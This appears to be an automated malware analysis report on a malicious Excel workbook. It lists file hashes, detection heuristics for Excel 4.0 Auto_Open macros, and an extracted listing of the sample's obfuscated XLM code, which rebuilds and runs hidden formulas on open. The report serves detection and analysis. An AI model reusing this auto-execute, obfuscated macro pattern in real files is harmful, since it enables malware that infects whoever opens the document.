Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b5096126431e3a7…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:35:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 773664e87f2fde01225d4b1e74452d04 SHA-1: 152b059eede9f6d938fa3129bf074b3adc9648b4 SHA-256: 6b5096126431e3a7275810e9f1d332df40c919889b5492e143612fcb9d5b79a0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6489 bytes
SHA-256: 304e064d362c0d8e7fcfd83d964ff19041bb185096e9192d87ec67dc03210e6d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RJk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D171 
' 0018     20 LABEL : Cell Value, String Constant - bVGqd len=0 
' 0018     27 LABEL : Cell Value, String Constant - CScblNkQVKXg len=0 
' 0018     22 LABEL : Cell Value, String Constant - CvNIGwr len=0 
' 0018     21 LABEL : Cell Value, String Constant - FcAwfz len=0 
' 0018     21 LABEL : Cell Value, String Constant - gmLpRk len=0 
' 0018     22 LABEL : Cell Value, String Constant - hkIUQVh len=0 
' 0018     26 LABEL : Cell Value, String Constant - itlfdFqcRQD len=0 
' 0018     25 LABEL : Cell Value, String Constant - JxxactzMIg len=0 
' 0018     20 LABEL : Cell Value, String Constant - KzCIW len=0 
' 0018     26 LABEL : Cell Value, String Constant - LcJGDSzJKZR len=0 
' 0018     21 LABEL : Cell Value, String Constant - nDEeAo len=0 
' 0018     24 LABEL : Cell Value, String Constant - PegeCOgNU len=0 
' 0018     25 LABEL : Cell Value, String Constant - PwaDMHdPYc len=0 
' 0018     24 LABEL : Cell Value, String Constant - QnNUaErGr len=0 
' 0018     24 LABEL : Cell Value, String Constant - qNwZIwYSj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qPoEwrBjTp len=0 
' 0018     23 LABEL : Cell Value, String Constant - szbscfrS len=0 
' 0018     21 LABEL : Cell Value, String Constant - uzubGZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - VRZHrqXsr len=0 
' 0018     27 LABEL : Cell Value, String Constant - yfWHzEHWVhHo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RJk,D77,"SET.NAME("szbscfrS",VALUE("0"))",""
'  RJk,D79,"SET.NAME("QnNUaErGr",szbscfrS)",""
'  RJk,D83,"SET.NAME("LcJGDSzJKZR",szbscfrS)",""
'  RJk,D86,"SET.NAME("FcAwfz",COUNTA(qPoEwrBjTp))",""
'  RJk,D91,"SET.NAME("CvNIGwr",COUNTA(uzubGZ))",""
'  RJk,D93,[],""
'  RJk,D98,"SET.NAME("CScblNkQVKXg","")",""
'  RJk,D103,"QnNUaErGr",""
'  RJk,D106,"SET.NAME("yfWHzEHWVhHo",HLOOKUP("*",qPoEwrBjTp,QnNUaErGr,FALSE))",""
'  RJk,D108,"JxxactzMIg",""
'  RJk,D112,"SET.NAME("qNwZIwYSj",szbscfrS)",""
'  RJk,D116,[],""
'  RJk,D121,"qNwZIwYSj",""
'  RJk,D124,"VRZHrqXsr",""
'  RJk,D129,"PegeCOgNU",""
'  RJk,D132,"nDEeAo",""
'  RJk,D134,"SET.NAME("bVGqd",VALUE(HLOOKUP("*",uzubGZ,nDEeAo,FALSE)))",""
'  RJk,D138,"gmLpRk",""
'  RJk,D141,"CScblNkQVKXg",""
'  RJk,D146,"LcJGDSzJKZR",""
'  RJk,D151,NEXT(),""
'  RJk,D156,"hkIUQVh",""
'  RJk,D159,"SET.NAME("f",INT(T(FORMULA(T(CScblNkQVKXg)&"",""&T(hkIUQVh)))))",""
'  RJk,D164,"KzCIW",""
'  RJk,D166,NEXT(),""
'  RJk,D169,RETURN(),""
'  RJk,D196,"SET.NAME("itlfdFqcRQD",D77)",""
'  RJk,D201,"qPoEwrBjTp",""
'  RJk,D206,"SET.NAME("uzubGZ",R93C13)",""
'  RJk,D209,"SET.NAME("KzCIW",217)",""
'  RJk,D214,"SET.NAME("PwaDMHdPYc",4)",""
'  RJk,D216,itlfdFqcRQD(),""
'  RJk,D217,HALT(),""